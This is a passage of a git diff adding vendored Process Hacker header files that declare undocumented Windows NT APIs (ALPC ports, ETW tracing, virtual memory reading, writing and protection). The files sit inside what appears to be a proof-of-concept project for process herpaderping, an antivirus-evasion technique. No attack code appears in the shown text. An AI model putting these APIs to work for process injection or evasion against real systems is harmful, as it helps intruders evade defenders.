SecurityAttribute + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcDeleteSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcRevokeSecurityContext( + _In_ HANDLE PortHandle, + _Reserved_ ULONG Flags, + _In_ ALPC_HANDLE ContextHandle + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcQueryInformationMessage( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ALPC_MESSAGE_INFORMATION_CLASS MessageInformationClass, + _Out_writes_bytes_to_opt_(Length, *ReturnLength) PVOID MessageInformation, + _In_ ULONG Length, + _Out_opt_ PULONG ReturnLength + ); + +#define ALPC_MSGFLG_REPLY_MESSAGE 0x1 +#define ALPC_MSGFLG_LPC_MODE 0x2 // ? +#define ALPC_MSGFLG_RELEASE_MESSAGE 0x10000 // dbg +#define ALPC_MSGFLG_SYNC_REQUEST 0x20000 // dbg +#define ALPC_MSGFLG_WAIT_USER_MODE 0x100000 +#define ALPC_MSGFLG_WAIT_ALERTABLE 0x200000 +#define ALPC_MSGFLG_WOW64_CALL 0x80000000 // dbg + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSID RequiredServerSid, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PULONG BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout + ); + +#if (PHNT_VERSION >= PHNT_WIN8) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcConnectPortEx( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ConnectionPortObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ClientPortObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_ ULONG Flags, + _In_opt_ PSECURITY_DESCRIPTOR ServerSecurityRequirements, + _Inout_updates_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ConnectionMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES OutMessageAttributes, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES InMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcAcceptConnectPort( + _Out_ PHANDLE PortHandle, + _In_ HANDLE ConnectionPortHandle, + _In_ ULONG Flags, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PALPC_PORT_ATTRIBUTES PortAttributes, + _In_opt_ PVOID PortContext, + _In_reads_bytes_(ConnectionRequest->u1.s1.TotalLength) PPORT_MESSAGE ConnectionRequest, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ConnectionMessageAttributes, + _In_ BOOLEAN AcceptConnection + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcSendWaitReceivePort( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_reads_bytes_opt_(SendMessage->u1.s1.TotalLength) PPORT_MESSAGE SendMessage, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES SendMessageAttributes, + _Out_writes_bytes_to_opt_(*BufferLength, *BufferLength) PPORT_MESSAGE ReceiveMessage, + _Inout_opt_ PSIZE_T BufferLength, + _Inout_opt_ PALPC_MESSAGE_ATTRIBUTES ReceiveMessageAttributes, + _In_opt_ PLARGE_INTEGER Timeout + ); + +#define ALPC_CANCELFLG_TRY_CANCEL 0x1 // dbg +#define ALPC_CANCELFLG_NO_CONTEXT_CHECK 0x8 +#define ALPC_CANCELFLGP_FLUSH 0x10000 // dbg + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcCancelMessage( + _In_ HANDLE PortHandle, + _In_ ULONG Flags, + _In_ PALPC_CONTEXT_ATTR MessageContext + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcImpersonateClientOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ PVOID Flags + ); + +#if (PHNT_VERSION >= PHNT_THRESHOLD) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcImpersonateClientContainerOfPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE Message, + _In_ ULONG Flags + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcOpenSenderProcess( + _Out_ PHANDLE ProcessHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAlpcOpenSenderThread( + _Out_ PHANDLE ThreadHandle, + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE PortMessage, + _In_ ULONG Flags, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +// Support functions + +NTSYSAPI +ULONG +NTAPI +AlpcMaxAllowedMessageLength( + VOID + ); + +NTSYSAPI +ULONG +NTAPI +AlpcGetHeaderSize( + _In_ ULONG Flags + ); + +#define ALPC_ATTRFLG_ALLOCATEDATTR 0x20000000 +#define ALPC_ATTRFLG_VALIDATTR 0x40000000 +#define ALPC_ATTRFLG_KEEPRUNNINGATTR 0x60000000 + +NTSYSAPI +NTSTATUS +NTAPI +AlpcInitializeMessageAttribute( + _In_ ULONG AttributeFlags, + _Out_opt_ PALPC_MESSAGE_ATTRIBUTES Buffer, + _In_ ULONG BufferSize, + _Out_ PULONG RequiredBufferSize + ); + +NTSYSAPI +PVOID +NTAPI +AlpcGetMessageAttribute( + _In_ PALPC_MESSAGE_ATTRIBUTES Buffer, + _In_ ULONG AttributeFlag + ); + +NTSYSAPI +NTSTATUS +NTAPI +AlpcRegisterCompletionList( + _In_ HANDLE PortHandle, + _Out_ PALPC_COMPLETION_LIST_HEADER Buffer, + _In_ ULONG Size, + _In_ ULONG ConcurrencyCount, + _In_ ULONG AttributeFlags + ); + +NTSYSAPI +NTSTATUS +NTAPI +AlpcUnregisterCompletionList( + _In_ HANDLE PortHandle + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +AlpcRundownCompletionList( + _In_ HANDLE PortHandle + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +AlpcAdjustCompletionListConcurrencyCount( + _In_ HANDLE PortHandle, + _In_ ULONG ConcurrencyCount + ); + +NTSYSAPI +BOOLEAN +NTAPI +AlpcRegisterCompletionListWorkerThread( + _Inout_ PVOID CompletionList + ); + +NTSYSAPI +BOOLEAN +NTAPI +AlpcUnregisterCompletionListWorkerThread( + _Inout_ PVOID CompletionList + ); + +NTSYSAPI +VOID +NTAPI +AlpcGetCompletionListLastMessageInformation( + _In_ PVOID CompletionList, + _Out_ PULONG LastMessageId, + _Out_ PULONG LastCallbackId + ); + +NTSYSAPI +ULONG +NTAPI +AlpcGetOutstandingCompletionListMessageCount( + _In_ PVOID CompletionList + ); + +NTSYSAPI +PPORT_MESSAGE +NTAPI +AlpcGetMessageFromCompletionList( + _In_ PVOID CompletionList, + _Out_opt_ PALPC_MESSAGE_ATTRIBUTES *MessageAttributes + ); + +NTSYSAPI +VOID +NTAPI +AlpcFreeCompletionListMessage( + _Inout_ PVOID CompletionList, + _In_ PPORT_MESSAGE Message + ); + +NTSYSAPI +PALPC_MESSAGE_ATTRIBUTES +NTAPI +AlpcGetCompletionListMessageAttributes( + _In_ PVOID CompletionList, + _In_ PPORT_MESSAGE Message + ); + +#endif + +// end_private + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntmisc.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntmisc.h new file mode 100644 index 00000000..d947177b --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntmisc.h @@ -0,0 +1,117 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTMISC_H +#define _NTMISC_H + +// Filter manager + +#define FLT_PORT_CONNECT 0x0001 +#define FLT_PORT_ALL_ACCESS (FLT_PORT_CONNECT | STANDARD_RIGHTS_ALL) + +// VDM + +typedef enum _VDMSERVICECLASS +{ + VdmStartExecution, + VdmQueueInterrupt, + VdmDelayInterrupt, + VdmInitialize, + VdmFeatures, + VdmSetInt21Handler, + VdmQueryDir, + VdmPrinterDirectIoOpen, + VdmPrinterDirectIoClose, + VdmPrinterInitialize, + VdmSetLdtEntries, + VdmSetProcessLdtInfo, + VdmAdlibEmulation, + VdmPMCliControl, + VdmQueryVdmProcess +} VDMSERVICECLASS, *PVDMSERVICECLASS; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtVdmControl( + _In_ VDMSERVICECLASS Service, + _Inout_ PVOID ServiceData + ); + +// WMI/ETW + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtTraceEvent( + _In_ HANDLE TraceHandle, + _In_ ULONG Flags, + _In_ ULONG FieldSize, + _In_ PVOID Fields + ); + +typedef enum _TRACE_CONTROL_INFORMATION_CLASS +{ + TraceControlStartLogger = 1, + TraceControlStopLogger = 2, + TraceControlQueryLogger = 3, + TraceControlUpdateLogger = 4, + TraceControlFlushLogger = 5, + TraceControlIncrementLoggerFile = 6, + + TraceControlRealtimeConnect = 11, + TraceControlWdiDispatchControl = 13, + TraceControlRealtimeDisconnectConsumerByHandle = 14, + + TraceControlReceiveNotification = 16, + TraceControlEnableGuid = 17, + TraceControlSendReplyDataBlock = 18, + TraceControlReceiveReplyDataBlock = 19, + TraceControlWdiUpdateSem = 20, + TraceControlGetTraceGuidList = 21, + TraceControlGetTraceGuidInfo = 22, + TraceControlEnumerateTraceGuids = 23, + + TraceControlQueryReferenceTime = 25, + TraceControlTrackProviderBinary = 26, + TraceControlAddNotificationEvent = 27, + TraceControlUpdateDisallowList = 28, + + TraceControlUseDescriptorTypeUm = 31, + TraceControlGetTraceGroupList = 32, + TraceControlGetTraceGroupInfo = 33, + TraceControlTraceSetDisallowList= 34, + TraceControlSetCompressionSettings = 35, + TraceControlGetCompressionSettings= 36, + TraceControlUpdatePeriodicCaptureState = 37, + TraceControlGetPrivateSessionTraceHandle = 38, + TraceControlRegisterPrivateSession = 39, + TraceControlQuerySessionDemuxObject = 40, + TraceControlSetProviderBinaryTracking = 41, + TraceControlMaxLoggers = 42, + TraceControlMaxPmcCounter = 43 +} TRACE_CONTROL_INFORMATION_CLASS; + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtTraceControl( + _In_ TRACE_CONTROL_INFORMATION_CLASS TraceInformationClass, + _In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(TraceInformationLength) PVOID TraceInformation, + _In_ ULONG TraceInformationLength, + _Out_ PULONG ReturnLength + ); +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntmmapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntmmapi.h new file mode 100644 index 00000000..6b1f9c0e --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntmmapi.h @@ -0,0 +1,1041 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTMMAPI_H +#define _NTMMAPI_H + +#if (PHNT_MODE == PHNT_MODE_KERNEL) + +// Protection constants + +#define PAGE_NOACCESS 0x01 +#define PAGE_READONLY 0x02 +#define PAGE_READWRITE 0x04 +#define PAGE_WRITECOPY 0x08 +#define PAGE_EXECUTE 0x10 +#define PAGE_EXECUTE_READ 0x20 +#define PAGE_EXECUTE_READWRITE 0x40 +#define PAGE_EXECUTE_WRITECOPY 0x80 +#define PAGE_GUARD 0x100 +#define PAGE_NOCACHE 0x200 +#define PAGE_WRITECOMBINE 0x400 + +#define PAGE_REVERT_TO_FILE_MAP 0x80000000 +#define PAGE_ENCLAVE_THREAD_CONTROL 0x80000000 +#define PAGE_TARGETS_NO_UPDATE 0x40000000 +#define PAGE_TARGETS_INVALID 0x40000000 +#define PAGE_ENCLAVE_UNVALIDATED 0x20000000 + +// Region and section constants +#if (PHNT_MODE != PHNT_MODE_KERNEL) +#define MEM_COMMIT 0x1000 +#define MEM_RESERVE 0x2000 +#define MEM_DECOMMIT 0x4000 +#define MEM_RELEASE 0x8000 +#define MEM_FREE 0x10000 +#define MEM_PRIVATE 0x20000 +#define MEM_MAPPED 0x40000 +#define MEM_RESET 0x80000 +#define MEM_TOP_DOWN 0x100000 +#endif +#define MEM_WRITE_WATCH 0x200000 +#define MEM_PHYSICAL 0x400000 +#define MEM_ROTATE 0x800000 +#define MEM_DIFFERENT_IMAGE_BASE_OK 0x800000 +#if (PHNT_MODE != PHNT_MODE_KERNEL) +#define MEM_RESET_UNDO 0x1000000 +#endif +#define MEM_LARGE_PAGES 0x20000000 +#define MEM_4MB_PAGES 0x80000000 + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +#define SEC_FILE 0x800000 +#endif +#define SEC_IMAGE 0x1000000 +#define SEC_PROTECTED_IMAGE 0x2000000 +#if (PHNT_MODE != PHNT_MODE_KERNEL) +#define SEC_RESERVE 0x4000000 +#define SEC_COMMIT 0x8000000 +#endif +#define SEC_NOCACHE 0x10000000 +#define SEC_WRITECOMBINE 0x40000000 +#define SEC_LARGE_PAGES 0x80000000 +#define SEC_IMAGE_NO_EXECUTE (SEC_IMAGE | SEC_NOCACHE) +#define MEM_IMAGE SEC_IMAGE + +#endif + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +// private +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, // MEMORY_BASIC_INFORMATION + MemoryWorkingSetInformation, // MEMORY_WORKING_SET_INFORMATION + MemoryMappedFilenameInformation, // UNICODE_STRING + MemoryRegionInformation, // MEMORY_REGION_INFORMATION + MemoryWorkingSetExInformation, // MEMORY_WORKING_SET_EX_INFORMATION + MemorySharedCommitInformation, // MEMORY_SHARED_COMMIT_INFORMATION + MemoryImageInformation, // MEMORY_IMAGE_INFORMATION + MemoryRegionInformationEx, + MemoryPrivilegedBasicInformation, + MemoryEnclaveImageInformation, // MEMORY_ENCLAVE_IMAGE_INFORMATION // since REDSTONE3 + MemoryBasicInformationCapped +} MEMORY_INFORMATION_CLASS; +#else +#define MemoryBasicInformation 0x0 +#define MemoryWorkingSetInformation 0x1 +#define MemoryMappedFilenameInformation 0x2 +#define MemoryRegionInformation 0x3 +#define MemoryWorkingSetExInformation 0x4 +#define MemorySharedCommitInformation 0x5 +#define MemoryImageInformation 0x6 +#define MemoryRegionInformationEx 0x7 +#define MemoryPrivilegedBasicInformation 0x8 +#define MemoryEnclaveImageInformation 0x9 +#define MemoryBasicInformationCapped 0xA +#endif + +typedef struct _MEMORY_WORKING_SET_BLOCK +{ + ULONG_PTR Protection : 5; + ULONG_PTR ShareCount : 3; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 3; +#ifdef _WIN64 + ULONG_PTR VirtualPage : 52; +#else + ULONG VirtualPage : 20; +#endif +} MEMORY_WORKING_SET_BLOCK, *PMEMORY_WORKING_SET_BLOCK; + +typedef struct _MEMORY_WORKING_SET_INFORMATION +{ + ULONG_PTR NumberOfEntries; + MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1]; +} MEMORY_WORKING_SET_INFORMATION, *PMEMORY_WORKING_SET_INFORMATION; + +// private +typedef struct _MEMORY_REGION_INFORMATION +{ + PVOID AllocationBase; + ULONG AllocationProtect; + union + { + ULONG RegionType; + struct + { + ULONG Private : 1; + ULONG MappedDataFile : 1; + ULONG MappedImage : 1; + ULONG MappedPageFile : 1; + ULONG MappedPhysical : 1; + ULONG DirectMapped : 1; + ULONG SoftwareEnclave : 1; // REDSTONE3 + ULONG PageSize64K : 1; + ULONG PlaceholderReservation : 1; // REDSTONE4 + ULONG Reserved : 23; + }; + }; + SIZE_T RegionSize; + SIZE_T CommitSize; + ULONG_PTR PartitionId; // 19H1 +} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +// private +typedef enum _MEMORY_WORKING_SET_EX_LOCATION +{ + MemoryLocationInvalid, + MemoryLocationResident, + MemoryLocationPagefile, + MemoryLocationReserved +} MEMORY_WORKING_SET_EX_LOCATION; + +// private +typedef struct _MEMORY_WORKING_SET_EX_BLOCK +{ + union + { + struct + { + ULONG_PTR Valid : 1; + ULONG_PTR ShareCount : 3; + ULONG_PTR Win32Protection : 11; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 6; + ULONG_PTR Locked : 1; + ULONG_PTR LargePage : 1; + ULONG_PTR Priority : 3; + ULONG_PTR Reserved : 3; + ULONG_PTR SharedOriginal : 1; + ULONG_PTR Bad : 1; + ULONG_PTR Win32GraphicsProtection : 4; // 19H1 +#ifdef _WIN64 + ULONG_PTR ReservedUlong : 28; +#endif + }; + struct + { + ULONG_PTR Valid : 1; + ULONG_PTR Reserved0 : 14; + ULONG_PTR Shared : 1; + ULONG_PTR Reserved1 : 5; + ULONG_PTR PageTable : 1; + ULONG_PTR Location : 2; + ULONG_PTR Priority : 3; + ULONG_PTR ModifiedList : 1; + ULONG_PTR Reserved2 : 2; + ULONG_PTR SharedOriginal : 1; + ULONG_PTR Bad : 1; +#ifdef _WIN64 + ULONG_PTR ReservedUlong : 32; +#endif + } Invalid; + }; +} MEMORY_WORKING_SET_EX_BLOCK, *PMEMORY_WORKING_SET_EX_BLOCK; + +// private +typedef struct _MEMORY_WORKING_SET_EX_INFORMATION +{ + PVOID VirtualAddress; + union + { + MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes; + ULONG_PTR Long; + } u1; +} MEMORY_WORKING_SET_EX_INFORMATION, *PMEMORY_WORKING_SET_EX_INFORMATION; + +// private +typedef struct _MEMORY_SHARED_COMMIT_INFORMATION +{ + SIZE_T CommitSize; +} MEMORY_SHARED_COMMIT_INFORMATION, *PMEMORY_SHARED_COMMIT_INFORMATION; + +// private +typedef struct _MEMORY_IMAGE_INFORMATION +{ + PVOID ImageBase; + SIZE_T SizeOfImage; + union + { + ULONG ImageFlags; + struct + { + ULONG ImagePartialMap : 1; + ULONG ImageNotExecutable : 1; + ULONG ImageSigningLevel : 4; // REDSTONE3 + ULONG Reserved : 26; + }; + }; +} MEMORY_IMAGE_INFORMATION, *PMEMORY_IMAGE_INFORMATION; + +// private +typedef struct _MEMORY_ENCLAVE_IMAGE_INFORMATION +{ + MEMORY_IMAGE_INFORMATION ImageInfo; + UCHAR UniqueID[32]; + UCHAR AuthorID[32]; +} MEMORY_ENCLAVE_IMAGE_INFORMATION, *PMEMORY_ENCLAVE_IMAGE_INFORMATION; + +#define MMPFNLIST_ZERO 0 +#define MMPFNLIST_FREE 1 +#define MMPFNLIST_STANDBY 2 +#define MMPFNLIST_MODIFIED 3 +#define MMPFNLIST_MODIFIEDNOWRITE 4 +#define MMPFNLIST_BAD 5 +#define MMPFNLIST_ACTIVE 6 +#define MMPFNLIST_TRANSITION 7 + +//typedef enum _MMLISTS +//{ +// ZeroedPageList = 0, +// FreePageList = 1, +// StandbyPageList = 2, +// ModifiedPageList = 3, +// ModifiedNoWritePageList = 4, +// BadPageList = 5, +// ActiveAndValid = 6, +// TransitionPage = 7 +//} MMLISTS; + +#define MMPFNUSE_PROCESSPRIVATE 0 +#define MMPFNUSE_FILE 1 +#define MMPFNUSE_PAGEFILEMAPPED 2 +#define MMPFNUSE_PAGETABLE 3 +#define MMPFNUSE_PAGEDPOOL 4 +#define MMPFNUSE_NONPAGEDPOOL 5 +#define MMPFNUSE_SYSTEMPTE 6 +#define MMPFNUSE_SESSIONPRIVATE 7 +#define MMPFNUSE_METAFILE 8 +#define MMPFNUSE_AWEPAGE 9 +#define MMPFNUSE_DRIVERLOCKPAGE 10 +#define MMPFNUSE_KERNELSTACK 11 + +//typedef enum _MMPFNUSE +//{ +// ProcessPrivatePage, +// MemoryMappedFilePage, +// PageFileMappedPage, +// PageTablePage, +// PagedPoolPage, +// NonPagedPoolPage, +// SystemPTEPage, +// SessionPrivatePage, +// MetafilePage, +// AWEPage, +// DriverLockedPage, +// KernelStackPage +//} MMPFNUSE; + +// private +typedef struct _MEMORY_FRAME_INFORMATION +{ + ULONGLONG UseDescription : 4; // MMPFNUSE_* + ULONGLONG ListDescription : 3; // MMPFNLIST_* + ULONGLONG Cold : 1; // 19H1 + ULONGLONG Pinned : 1; // 1 - pinned, 0 - not pinned + ULONGLONG DontUse : 48; // *_INFORMATION overlay + ULONGLONG Priority : 3; // rev + ULONGLONG Reserved : 4; // reserved for future expansion +} MEMORY_FRAME_INFORMATION; + +// private +typedef struct _FILEOFFSET_INFORMATION +{ + ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay + ULONGLONG Offset : 48; // mapped files + ULONGLONG Reserved : 7; // reserved for future expansion +} FILEOFFSET_INFORMATION; + +// private +typedef struct _PAGEDIR_INFORMATION +{ + ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay + ULONGLONG PageDirectoryBase : 48; // private pages + ULONGLONG Reserved : 7; // reserved for future expansion +} PAGEDIR_INFORMATION; + +// private +typedef struct _UNIQUE_PROCESS_INFORMATION +{ + ULONGLONG DontUse : 9; // MEMORY_FRAME_INFORMATION overlay + ULONGLONG UniqueProcessKey : 48; // ProcessId + ULONGLONG Reserved : 7; // reserved for future expansion +} UNIQUE_PROCESS_INFORMATION, *PUNIQUE_PROCESS_INFORMATION; + +// private +typedef struct _MMPFN_IDENTITY +{ + union + { + MEMORY_FRAME_INFORMATION e1; // all + FILEOFFSET_INFORMATION e2; // mapped files + PAGEDIR_INFORMATION e3; // private pages + UNIQUE_PROCESS_INFORMATION e4; // owning process + } u1; + ULONG_PTR PageFrameIndex; // all + union + { + struct + { + ULONG_PTR Image : 1; + ULONG_PTR Mismatch : 1; + } e1; + struct + { + ULONG_PTR CombinedPage; + } e2; + ULONG_PTR FileObject; // mapped files + ULONG_PTR UniqueFileObjectKey; + ULONG_PTR ProtoPteAddress; + ULONG_PTR VirtualAddress; // everything else + } u2; +} MMPFN_IDENTITY, *PMMPFN_IDENTITY; + +typedef struct _MMPFN_MEMSNAP_INFORMATION +{ + ULONG_PTR InitialPageFrameIndex; + ULONG_PTR Count; +} MMPFN_MEMSNAP_INFORMATION, *PMMPFN_MEMSNAP_INFORMATION; + +typedef enum _SECTION_INFORMATION_CLASS +{ + SectionBasicInformation, // q; SECTION_BASIC_INFORMATION + SectionImageInformation, // q; SECTION_IMAGE_INFORMATION + SectionRelocationInformation, // name:wow64:whNtQuerySection_SectionRelocationInformation + SectionOriginalBaseInformation, // PVOID BaseAddress + SectionInternalImageInformation, // SECTION_INTERNAL_IMAGE_INFORMATION // since REDSTONE2 + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; + +typedef struct _SECTION_BASIC_INFORMATION +{ + PVOID BaseAddress; + ULONG AllocationAttributes; + LARGE_INTEGER MaximumSize; +} SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION; + +// symbols +typedef struct _SECTION_IMAGE_INFORMATION +{ + PVOID TransferAddress; + ULONG ZeroBits; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union + { + struct + { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + union + { + struct + { + USHORT MajorOperatingSystemVersion; + USHORT MinorOperatingSystemVersion; + }; + ULONG OperatingSystemVersion; + }; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + union + { + UCHAR ImageFlags; + struct + { + UCHAR ComPlusNativeReady : 1; + UCHAR ComPlusILOnly : 1; + UCHAR ImageDynamicallyRelocated : 1; + UCHAR ImageMappedFlat : 1; + UCHAR BaseBelow4gb : 1; + UCHAR ComPlusPrefer32bit : 1; + UCHAR Reserved : 2; + }; + }; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG CheckSum; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +// symbols +typedef struct _SECTION_INTERNAL_IMAGE_INFORMATION +{ + SECTION_IMAGE_INFORMATION SectionInformation; + union + { + ULONG ExtendedFlags; + struct + { + ULONG ImageExportSuppressionEnabled : 1; + ULONG Reserved : 31; + }; + }; +} SECTION_INTERNAL_IMAGE_INFORMATION, *PSECTION_INTERNAL_IMAGE_INFORMATION; + +#if (PHNT_MODE != PHNT_MODE_KERNEL) +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; +#endif + +#define SEC_BASED 0x200000 +#define SEC_NO_CHANGE 0x400000 +#define SEC_GLOBAL 0x20000000 + +#define MEM_EXECUTE_OPTION_DISABLE 0x1 +#define MEM_EXECUTE_OPTION_ENABLE 0x2 +#define MEM_EXECUTE_OPTION_DISABLE_THUNK_EMULATION 0x4 +#define MEM_EXECUTE_OPTION_PERMANENT 0x8 +#define MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE 0x10 +#define MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE 0x20 +#define MEM_EXECUTE_OPTION_VALID_FLAGS 0x3f + +// Virtual memory + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAllocateVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreeVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG FreeType + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_writes_bytes_(MemoryInformationLength) PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +#endif + +// begin_private +#if (PHNT_MODE != PHNT_MODE_KERNEL) +typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS +{ + VmPrefetchInformation, // ULONG + VmPagePriorityInformation, + VmCfgCallTargetInformation, // CFG_CALL_TARGET_LIST_INFORMATION // REDSTONE2 + VmPageDirtyStateInformation, // REDSTONE3 + VmImageHotPatchInformation // 19H1 +} VIRTUAL_MEMORY_INFORMATION_CLASS; + +typedef struct _MEMORY_RANGE_ENTRY +{ + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY, *PMEMORY_RANGE_ENTRY; + +typedef struct _CFG_CALL_TARGET_LIST_INFORMATION +{ + ULONG NumberOfEntries; + ULONG Reserved; + PULONG NumberOfEntriesProcessed; + PCFG_CALL_TARGET_INFO CallTargetInfo; + PVOID Section; // since REDSTONE5 + ULONGLONG FileOffset; +} CFG_CALL_TARGET_LIST_INFORMATION, *PCFG_CALL_TARGET_LIST_INFORMATION; +#endif +// end_private + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +#if (PHNT_VERSION >= PHNT_THRESHOLD) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ VIRTUAL_MEMORY_INFORMATION_CLASS 